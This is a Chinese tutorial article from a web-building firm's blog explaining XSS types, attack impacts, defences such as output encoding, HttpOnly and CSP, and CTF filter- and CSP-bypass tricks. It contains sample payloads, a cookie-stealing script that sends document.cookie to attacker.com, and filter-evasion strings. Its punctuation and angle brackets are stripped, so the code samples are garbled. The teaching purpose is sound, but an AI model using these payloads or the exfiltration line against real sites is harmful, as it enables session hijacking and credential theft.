ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

跨站脚本攻击(XSS)

2026/8/4 14:48:37 拓冰建站 浏览量
跨站脚本攻击(XSS) 一、定义与核心原理XSSCross-Site Scripting 是一种常见的 Web 安全漏洞攻击者通过在网页中注入恶意脚本通常是 JavaScript当其他用户访问该网页时恶意脚本会在用户的浏览器中执行从而窃取信息、劫持会话或进行其他恶意操作。二、XSS 的分类根据恶意脚本的注入方式与存在位置XSS 主要分为三类反射型、存储型和 DOM 型。2.1 反射型 XSSNon-Persistent XSS反射型XSS是指攻击载荷作为请求参数直接“反射”回页面并被浏览器立即执行。它的突出特点是无需持久存储通常发生在网址参数、表单等用户即时提交数据并在页面直接输出的情况下。反射型XSS常被用于钓鱼链接、伪造请求等场景危害虽然通常只影响单次访问但推广起来效率高。所有没有正确过滤用户输入并在页面直接输出的“立即返回型”功能都可能存在反射型XSS风险。提示你可以通过alert来测试poc。你可以使用的poc有scriptalert(1)/scriptimg srcx onerroralert(1)salert(1)/sh1123/h1发生场景恶意脚本通过 HTTP 请求参数如 URL 查询字符串、表单提交传入服务器将这些参数值不加处理地“反射”回响应页面中。典型流程攻击者构造一个含有恶意脚本的 URLhttps://example.com/search?qscriptalert(XSS)/script用户被诱骗点击该链接。服务器接收到请求将q参数的值直接嵌入到返回的 HTML 中例如p您搜索的关键词scriptalert(XSS)/script/p浏览器解析该 HTML遇到script标签时执行其中的 JavaScript 代码。技术细节反射型 XSS 的注入点通常位于URL 查询参数?keyvaluePOST 请求体中的参数如果服务器将参数值返回到页面HTTP 头如 Referer错误页面可能会显示其特点是“一次性”攻击每次触发都需要攻击者将恶意链接发给受害者恶意代码不会存储在服务器端。2.2 存储型 XSSPersistent XSS存储型XSS是指用户提交的恶意脚本会被存储到服务器如数据库、文件等当其他用户访问相关页面时这些脚本会被加载并在他们的浏览器中执行。与反射型XSS不同存储型XSS的危害性更大通常用于留言、评论等功能不加过滤的情况下被攻击者利用。发生场景恶意脚本被持久化存储在服务器端数据库、文件系统、缓存等当用户访问包含该数据的页面时脚本从存储中取出并返回给浏览器执行。典型流程攻击者向网站的某个功能点如评论区、用户资料、私信提交包含恶意代码的内容script new Image().src http://attacker.com/steal?cookie document.cookie; /script服务器未做任何过滤将该内容存入数据库。任何用户访问展示该内容的页面时服务器从数据库读取数据并拼接成 HTML 返回。所有访问者的浏览器都会执行这段脚本Cookie 等敏感信息被发送至攻击者服务器。危害范围存储型 XSS 一旦植入就成为一个持久的威胁任何访问受影响页面的用户包括管理员都可能被攻击极易形成蠕虫传播如早年的 Samy 蠕虫。2.3 DOM 型 XSS发生场景漏洞完全存在于客户端 JavaScript 代码中。服务器返回的页面本身可能不包含恶意脚本但页面中的合法脚本会从 DOM 环境如location、document.referrer中读取数据并将其不安全地写入 DOM 树导致脚本执行。典型流程攻击者构造一个 URL其中包含 payloadhttps://example.com/page#img srcx onerroralert(1)服务器返回的页面是一段正常的 HTML 和 JavaScript例如varhashlocation.hash.substring(1);document.getElementById(content).innerHTMLhash;用户访问该链接。浏览器加载页面后执行上述脚本将img srcx onerroralert(1)直接作为 HTML 插入到#content元素中。浏览器解析新插入的img标签因其srcx加载失败触发onerror事件处理函数恶意脚本被执行。关键点DOM 型 XSS 的数据源Source和拼接点Sink都在客户端。常见 Source 包括locationhref、hash、searchdocument.referrerdocument.cookiewindow.namepostMessage接收的数据常见 Sink 包括innerHTML/outerHTMLdocument.write()eval()/setTimeout()/setInterval()字符串参数execScript()某些框架中直接将用户输入绑定为 HTML由于整个过程不经过服务器服务器访问日志中通常看不到攻击痕迹增加了检测难度。三、XSS 能实现哪些攻击3.1 窃取 Cookie 与会话劫持这是最经典的攻击目标。通过document.cookie读取当前域下的 Cookie未设置HttpOnly的会话 Cookie然后将其发送到攻击者服务器。攻击者拿到 Cookie 后在本地设置同样的 Cookie即可冒充受害者身份登录网站。3.2 伪造请求CSRF 的增强虽然 XSS 本身不是 CSRF但 XSS 可以绕过所有 CSRF 防护。攻击者脚本能直接在受害者浏览器中读取 CSRF Token并构造同源的 POST 请求完成转账、修改密码、发表内容等操作。从服务器角度看这些请求完全合法。3.3 页面内容篡改与钓鱼利用 JavaScript 完全控制 DOM 树的能力攻击者可以替换页面内容显示虚假信息。创建伪造的登录表单诱骗用户输入凭证这种攻击也称为“虚拟钓鱼”。修改页面跳转逻辑将用户重定向到恶意网站。3.4 键盘记录与信息收集通过注册keydown、keypress事件攻击脚本可以记录用户在页面内的所有按键操作并将数据定期发送出去从而窃取密码、信用卡号等敏感信息。3.5 浏览器漏洞利用与内网探测恶意脚本可以尝试加载已知的浏览器漏洞利用代码对受害者主机进行更深层次的攻击。还可利用浏览器发出的 HTTP 请求探测内网存活主机或服务实施跨域信息泄露。3.6 蠕虫传播在具备社交功能的站点中存储型 XSS 可以实现自我复制。例如脚本自动向受害者的好友发送带恶意链接的私信或自动发布包含恶意代码的内容从而指数级扩大攻击范围。四、产生 XSS 的根本原因XSS 的本质是将数据误作为代码执行。浏览器在解析 HTML 时会根据上下文不同标签内、属性内、脚本块内、样式内切换不同的解析器。如果没有针对当前上下文正确地转义用户数据就会导致注入。常见的编码缺失情景HTML 上下文直接将script.../script插入标签体。属性上下文使用双引号或单引号闭合属性并插入事件处理函数如 onclickalert(1)。JavaScript 上下文在script块中动态拼接用户输入导致闭合并插入新脚本。CSS 上下文通过 CSS 的expression()或url()执行脚本IE 旧版。五、全面防御方案防御 XSS 需要多层防护并且要针对不同输出上下文采取不同策略。5.1 输出编码Output Encoding这是最核心、最直接的防御手段。在将用户数据插入 HTML 页面时必须根据插入位置选择正确的编码方式。HTML 实体编码用于标签体内容或普通文本将、、、、转换为对应的实体。例如script编码为script浏览器将不会执行而仅显示文本。HTML 属性编码除了实体编码还需要确保属性值始终使用引号包裹并且编码引号。对于动态生成的事件处理属性如onclick如果无法避免需进行严格的 JavaScript 编码。JavaScript 编码在script块中或事件处理函数中插入数据时使用\xHH或\uXXXX格式对所有非字母数字字符进行编码并用引号包裹。更安全的方式是将数据放到单独的不可信输入元素中然后通过JSON.parse或textContent读取。CSS 编码在样式上下文如style属性或style标签中插入数据时需要进行 CSS 十六进制编码\HH并确保值不会闭合上下文。URL 编码当数据被作为 URL 的一部分如href、src时必须进行 URL 编码并验证协议只允许http://、https://等白名单协议禁止javascript:等危险协议。推荐做法不要手动编码使用成熟安全的模板引擎如 Jinja2、Thymeleaf、Razor 等它们在默认情况下会对变量进行 HTML 实体编码并且提供了针对 JavaScript 块、CSS 等上下文的专用编码器。5.2 HttpOnly Cookie 标志给会话 Cookie 设置HttpOnly属性这样浏览器会禁止 JavaScript 通过document.cookie读取该 Cookie。即使存在 XSS 漏洞攻击者也无法直接窃取会话凭证显著降低会话劫持风险。Set-Cookie: sessionid...; HttpOnly; Secure; SameSiteLax5.3 内容安全策略CSPCSP 是一种浏览器层面的纵深防御机制通过 HTTP 响应头或meta标签声明脚本、样式等的加载白名单。一个严格的 CSP 策略Content-Security-Policy: default-src self; script-src self nonce-random123; object-src none; base-uri self;script-src self只允许加载同源的脚本禁止内联脚本除非使用nonce或hash。禁止eval()及相关函数。可以配置report-uri来收集违规报告。CSP 无法修复 XSS 漏洞但可以极大地限制攻击者即使注入脚本后的执行能力。5.4 输入验证与过滤虽然输出编码是主要防御但输入验证也是重要的辅助手段。白名单验证对用户输入按业务需求进行严格格式校验如邮箱、电话号码、数字 ID。不符合的直接拒绝。黑名单过滤作为补充过滤或移除已知危险字符如、、、等但容易被绕过不能作为主要防御。富文本处理如果业务必须允许用户输入 HTML如富文本编辑器需要采用专用的净化库如 DOMPurify、OWASP Java HTML Sanitizer对白名单标签和属性进行过滤移除所有事件处理函数和危险协议。5.5 安全使用 DOM API尽量避免将不可信数据直接作为代码执行不要使用innerHTML、outerHTML、document.write()插入不可信数据。应使用textContent或createTextNode()。对于必须动态生成 HTML 的场景使用createElement()、setAttribute()等安全方法并小心属性值。避免将不可信数据传入eval()、setTimeout()、setInterval()的字符串参数改用函数形式。现代前端框架React、Vue、Angular默认会对插值表达式进行转义但要注意v-html、dangerouslySetInnerHTML等跳过转义的 API必须确保其内容是可信的或经过净化的。5.6 启用 X-XSS-Protection可选旧的浏览器支持X-XSS-Protection头可以启用浏览器内置的反射型 XSS 过滤器。但由于其可能引入额外的安全风险且现代浏览器大多已废弃现在推荐使用 CSP 替代。六、绕过过滤技巧CTF 中的 XSS 题目往往会设置过滤。常见过滤及绕过方法6.1 关键字过滤如过滤script、alert等大小写混用ScRiPtalert(1)/ScRiPt如果服务器未做大小写统一处理。嵌套/双写绕过scrscriptiptalert(1)/scr/scriptipt过滤掉script后仍重组。使用其他标签和事件避免使用script标签用img、svg、body、input、details等。6.2 过滤括号、引号反引号代替括号ES6 模板字符串scriptalert1/script无效可以onerroralert1 但需要上下文支持。HTML 实体编码在属性值中使用十进制或十六进制编码onclickalert(1)可能被浏览器解析。利用location或eval结合字符串img srcx onerroreval(alert\x28 1\x29)十六进制编码绕过括号检测。利用throw或onerror的特性img srcx onerrorthrow/a/,locationjavascRipt:alert(1)之类的奇技淫巧。6.3 过滤onerror、onload等事件尝试其他事件onfocus、onmouseover、onclick、oninput、ontoggle等。使用autofocus自动触发input onfocusalert(1) autofocus。使用details open ontogglealert(1)需要交互的可加上open属性。6.4 过滤javascript:伪协议使用 HTML 实体编码javascript:alert(1)或 URL 编码%6A%61%76%61%73%63%72%69%70%74:%61%6C%65%72%74%28%31%29。利用换行符或空格java%09script:alert(1)一些浏览器会忽略制表符。6.5 利用特殊解析顺序绕过 WAF/黑名单注释干扰img srcx onerroral/*comment*/ert(1)如果黑名单没处理好注释。多标签属性混淆img srcx onerroralert(1)空字节、多字节字符在值内插入%00截断或宽字节绕过少见。6.6 CSP 绕过如果页面有严格的内容安全策略CSP直接内联脚本可能无法执行。需要寻找允许的源或使用框架自带的绕过。如果 CSP 允许unsafe-inline内联脚本可以执行。如果允许unsafe-eval可以用eval执行字符串。如果白名单中允许某个 CDN 包含的 JS 库如cdnjs.cloudflare.com可使用该库已有函数执行代码如 Angular 的$eval。如果允许script-src self但存在同源 JSONP 端点可利用 JSONP 注入脚本。使用base标签劫持相对路径加载。